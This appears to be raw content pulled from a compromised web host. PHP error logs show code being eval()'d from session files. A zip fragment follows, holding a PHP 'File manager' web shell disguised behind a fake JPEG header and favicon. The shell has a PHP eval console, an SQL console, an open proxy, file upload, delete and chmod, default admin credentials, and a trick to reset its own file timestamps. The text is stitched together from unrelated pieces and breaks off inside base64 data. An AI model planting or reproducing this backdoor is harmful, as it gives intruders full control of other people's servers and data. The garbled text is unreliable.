/opt/alt/php81/var/lib/php/session/sess_9a5cb5c71926ab48d91622bcc6507447(1) : eval()'d code on line 1 [26-Sep-2025 21:42:46 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_fe4a67aee177a9ab697c9c99bde4d2eb(1) : eval()'d code on line 1 [26-Sep-2025 21:42:46 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_fe4a67aee177a9ab697c9c99bde4d2eb(1) : eval()'d code on line 1 [26-Sep-2025 21:42:46 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_fe4a67aee177a9ab697c9c99bde4d2eb(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_fe4a67aee177a9ab697c9c99bde4d2eb(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_fe4a67aee177a9ab697c9c99bde4d2eb(1): eval() #2 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_fe4a67aee177a9ab697c9c99bde4d2eb(1) : eval()'d code on line 1 [02-Oct-2025 10:30:34 UTC] PHP Fatal error: Array and string offset access syntax with curly braces is no longer supported in /opt/alt/php81/var/lib/php/session/sess_854cca5eb75f0977d49422206f8544db(1) : eval()'d code on line 1 [02-Oct-2025 10:30:35 UTC] PHP Fatal error: Array and string offset access syntax with curly braces is no longer supported in /opt/alt/php81/var/lib/php/session/sess_ee7faf05b76eed57ae6fc17e5c4cb7ed(1) : eval()'d code on line 1 PK 39�\�6?iVi Vi file61.phpnu �[��� <html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php ?> ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en', 'ru', 'de', 'fr', 'uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path = str_replace('\\', '/', realpath('./')); $phar_maybe = version_compare(phpversion(), "5.3.0", "<") ? true : false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization, true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = isset($auth['days_authorization']) && is_numeric($auth['days_authorization']) ? (int) $auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) { $fm_config = $fm_default_config; } else { $fm_config = unserialize($_COOKIE['fm_config']); } // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if ($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])) { $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)) { foreach ($lang_priority as $lang_arr) { $lng = explode(';', $lang_arr); $lng = $lng[0]; if (in_array($lng, $langs)) { $language = $lng; break; } } } } // Cookie language is primary for ever $language = empty($_COOKIE['fm_lang']) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation, true); if ($lang['id'] != $language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'", ''', json_encode(json_decode($get_lang), JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $translation_string, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } $lang = json_decode($translation_string, true); } } /* Functions */ //translation function __($text) { global $lang; if (isset($lang[$text])) { return $lang[$text]; } else { return $text; } } //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if ($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if ($el != '.' && $el != '..') { fm_del_files($file . '/' . $el, true); } } } if (@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false) { $perms = fileperms($file); $info = ''; if (!$if) { if (($perms & 0xc000) == 0xc000) { //Socket $info = 's'; } elseif (($perms & 0xa000) == 0xa000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= $perms & 0x100 ? 'r' : '-'; $info .= $perms & 0x80 ? 'w' : '-'; $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); //Group $info .= $perms & 0x20 ? 'r' : '-'; $info .= $perms & 0x10 ? 'w' : '-'; $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); //World $info .= $perms & 0x4 ? 'r' : '-'; $info .= $perms & 0x2 ? 'w' : '-'; $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode, 9, '-'); $trans = array('-' => '0', 'r' => '4', 'w' => '2', 'x' => '1'); $mode = strtr($mode, $trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if (@is_dir($file) && $rec) { $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die; } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die; } } } //show folder size function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . ' bytes'; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . ' Kb'; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . ' Mb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . ' Gb'; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . ' Tb'; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . ' Pb'; } // ;-) } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == '.' || $file == '..') { continue; } if (is_file($f . '/' . $file)) { $size += filesize($f . '/' . $file); } else { $size += fm_dir_size($f . '/' . $file, false); } } closedir($dh); return $size + filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if (!empty($type) && $type !== 'all') { $func = 'is_' . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != '.' || $do_not_filter) { if ((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get, $link, $name, $title = '') { if (empty($title)) { $title = $name . ' ' . basename($link); } return ' <a href="?' . $get . '=' . base64_encode($link) . '" title="' . $title . '">' . $name . '</a>'; } function fm_arr_to_option($arr, $n, $sel = '') { foreach ($arr as $v) { $b = $v[$n]; $res .= '<option value="' . $b . '" ' . ($sel && $sel == $b ? 'selected' : '') . '>' . $b . '</option>'; } return $res; } function fm_lang_form($current = 'en') { return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="' . __('Language') . '" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" ' . ($current == 'en' ? 'selected="selected" ' : '') . '>' . __('English') . '</option> <option value="de" ' . ($current == 'de' ? 'selected="selected" ' : '') . '>' . __('German') . '</option> <option value="ru" ' . ($current == 'ru' ? 'selected="selected" ' : '') . '>' . __('Russian') . '</option> <option value="fr" ' . ($current == 'fr' ? 'selected="selected" ' : '') . '>' . __('French') . '</option> <option value="uk" ' . ($current == 'uk' ? 'selected="selected" ' : '') . '>' . __('Ukrainian') . '</option> </select> </form> '; } function fm_root($dirname) { return $dirname == '.' or $dirname == '..'; } function fm_php($string) { $display_errors = ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect() { global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query) { global $fm_config; $query = trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection, $query); if ($queried === false) { ob_end_clean(); return mysqli_error($connection); } else { if (!empty($queried)) { while ($row = mysqli_fetch_assoc($queried)) { $query_result[] = $row; } } $vdump = empty($query_result) ? '' : var_export($query_result, true); ob_end_clean(); $connection->close(); return '<pre>' . stripslashes($vdump) . '</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if ($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while ($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',', $tables); } $return = ''; foreach ($tables as $table) { $result = $mysqldb->query('SELECT * FROM ' . $table); $num_fields = mysqli_num_fields($result); $return .= 'DROP TABLE IF EXISTS `' . $table . '`' . $delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE ' . $table)); $return .= $row2[1] . $delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while ($row = mysqli_fetch_row($result)) { $return .= 'INSERT INTO `' . $table . '` VALUES('; for ($j = 0; $j < $num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n", "\\n", $row[$j]); if (isset($row[$j])) { $return .= '"' . $row[$j] . '"'; } else { $return .= '""'; } if ($j < $num_fields - 1) { $return .= ','; } } $return .= ')' . $delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\\d]+ #is", '', $return); } $return .= "\n\n\n"; } //save file $file = gmdate("Y-m-d_H-i-s", time()) . '.sql'; $handle = fopen($file, 'w+'); fwrite($handle, $return); fclose($handle); $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file . ': ' . fm_link('download', $path . $file, __('Download'), __('Download') . ' ' . $file) . ' <a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute, "r+"); $sqlFile = fread($f, filesize($sqlFileToExecute)); $sqlArray = explode($delimiter, $sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt) > 3) { $result = $mysqldb->query($stmt); if (!$result) { $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) { return __('Success') . ' — ' . $sqlFileToExecute; } else { return $sqlErrorText . '<br/>' . $stmt; } } function fm_img_link($filename) { return './' . basename(__FILE__) . '?img=' . base64_encode($filename); } function fm_home_style() { return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name, $value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_' . $value . '" name="fm_config[' . $value . ']" value="1" ' . (empty($fm_config[$value]) ? '' : 'checked="true"') . ' type="checkbox"></td><td class="row2 whole"><label for="fm_config_' . $value . '">' . $name . '</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) { return $_SERVER['HTTP_SCHEME'] . '://'; } if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') { return 'https://'; } if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) { return 'https://'; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') { return 'https://'; } return 'http://'; } function fm_site_url() { return fm_protocol() . $_SERVER['HTTP_HOST']; } function fm_url($full = false) { $host = $full ? fm_site_url() : '.'; return $host . '/' . basename(__FILE__); } function fm_home($full = false) { return ' <a href="' . fm_url($full) . '" title="' . __('Home') . '"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_' . $lng . '_console']) ? ' <form method="post" action="' . fm_url() . '" style="display:inline"> <input type="submit" name="' . $lng . 'run" value="' . strtoupper($lng) . ' ' . __('Console') . '"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&', '&', $matches[2]); $url = isset($_GET['url']) ? $_GET['url'] : ''; $parse_url = parse_url($url); $host = $parse_url['scheme'] . '://' . $parse_url['host'] . '/'; if (substr($link, 0, 2) == '//') { $link = substr_replace($link, fm_protocol(), 0, 2); } elseif (substr($link, 0, 1) == '/') { $link = substr_replace($link, $host, 0, 1); } elseif (substr($link, 0, 2) == './') { $link = substr_replace($link, $host, 0, 2); } elseif (substr($link, 0, 4) == 'http') { //alles machen wunderschon } else { $link = $host . $link; } if ($matches[1] == 'href' && !strripos($link, 'css')) { $base = fm_site_url() . '/' . basename(__FILE__); $baseq = $base . '?proxy=true&url='; $link = $baseq . urlencode($link); } elseif (strripos($link, 'css')) { //как-то тоже подменять надо } return $matches[1] . '="' . $link . '"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl . '_templates'}; $tpl_arr = json_decode(${$lng_tpl . '_templates'}, true); $str = ''; foreach ($tpl_arr as $ktpl => $vtpl) { $str .= '<tr><td class="row1"><input name="' . $lng_tpl . '_name[]" value="' . $ktpl . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_value[]" cols="55" rows="5" class="textarea_input">' . $vtpl . '</textarea> <input name="del_' . rand() . '" type="button" onClick="this.parentNode.parentNode.remove();" value="' . __('Delete') . '"/></td></tr>'; } return ' <table> <tr><th colspan="2">' . strtoupper($lng_tpl) . ' ' . __('templates') . ' ' . fm_run_input($lng_tpl) . '</th></tr> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1">' . __('Name') . '</td><td class="row2 whole">' . __('Value') . '</td></tr> ' . $str . ' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \'' . fm_url() . '?fm_settings=true\';" value="' . __('Reset') . '"/> <input type="submit" value="' . __('Save') . '" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="' . $lng_tpl . '" name="tpl_edited"> <tr><td class="row1"><input name="' . $lng_tpl . '_new_name" value="" placeholder="' . __('New') . ' ' . __('Name') . '"></td><td class="row2 whole"><textarea name="' . $lng_tpl . '_new_value" cols="55" rows="5" class="textarea_input" placeholder="' . __('New') . ' ' . __('Value') . '"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="' . __('Add') . '" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])) { if ($_POST['login'] == $auth['login'] && $_POST['password'] == $auth['password']) { setcookie($auth['cookie_name'], $auth['login'] . '|' . md5($auth['password']), time() + 86400 * $auth['days_authorization']); $_COOKIE[$auth['cookie_name']] = $auth['login'] . '|' . md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) or $_COOKIE[$auth['cookie_name']] != $auth['login'] . '|' . md5($auth['password'])) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>' . __('File manager') . '</title> </head> <body> <form action="" method="post"> ' . __('Login') . ' <input name="login" type="text"> ' . __('Password') . ' <input name="password" type="password"> <input type="submit" value="' . __('Enter') . '" class="fm_input"> </form> ' . fm_lang_form($language) . ' </body> </html> '; die; } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_site_url() . $_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - 86400 * $auth['days_authorization']); header('Location: ' . fm_url() . '?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + 86400 * $auth['days_authorization']); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings') . ' ' . __('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) { $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; } $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_login, $fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) { $msg .= ' ' . __('Login') . ': ' . $_POST['fm_login']['login']; } if ($_POST['fm_login']['password'] != $auth['password']) { $msg .= ' ' . __('Password') . ': ' . $_POST['fm_login']['password']; } $auth = $_POST['fm_login']; } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl . '_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl . '_name'], $_POST[$lng_tpl . '_value']), JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl . '_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl . '_templates'}, true) + array($_POST[$lng_tpl . '_new_name'] => $_POST[$lng_tpl . '_new_value']), JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#' . $lng_tpl . '_templates[\\s]?\\=[\\s]?\'\\{\\"(.*?)\\"\\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"' . $matches[1] . '"}', $fm_php, $fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl . '_templates'} = $fm_php; $msg .= __('File updated'); } else { $msg .= __('Error occurred'); } if (!empty($fm_config['fm_restore_time'])) { touch(__FILE__, $filemtime); } } } else { $msg .= __('Error occurred'); } } } // Just show image if (isset($_GET['img'])) { $file = base64_decode($_GET['img']); if ($info = getimagesize($file)) { switch ($info[2]) { //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext = 'gif'; break; case 2: $ext = 'jpeg'; break; case 3: $ext = 'png'; break; case 6: $ext = 'bmp'; break; default: die; } header("Content-type: image/{$ext}"); echo file_get_contents($file); die; } } // Just download file if (isset($_GET['download'])) { $file = base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die; } // Mini proxy, many bugs! if (isset($_GET['proxy']) && !empty($fm_config['enable_proxy'])) { $url = isset($_GET['url']) ? urldecode($_GET['url']) : ''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> ' . fm_home() . ' <a href="' . $url . '" target="_blank">Url</a>: <input type="text" name="url" value="' . $url . '" size="55"> <input type="submit" value="' . __('Show') . '" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1' . '<style>' . fm_home_style() . '</style>' . $proxy_form, $result); echo $result; die; } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?php echo __('File manager'); ?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJv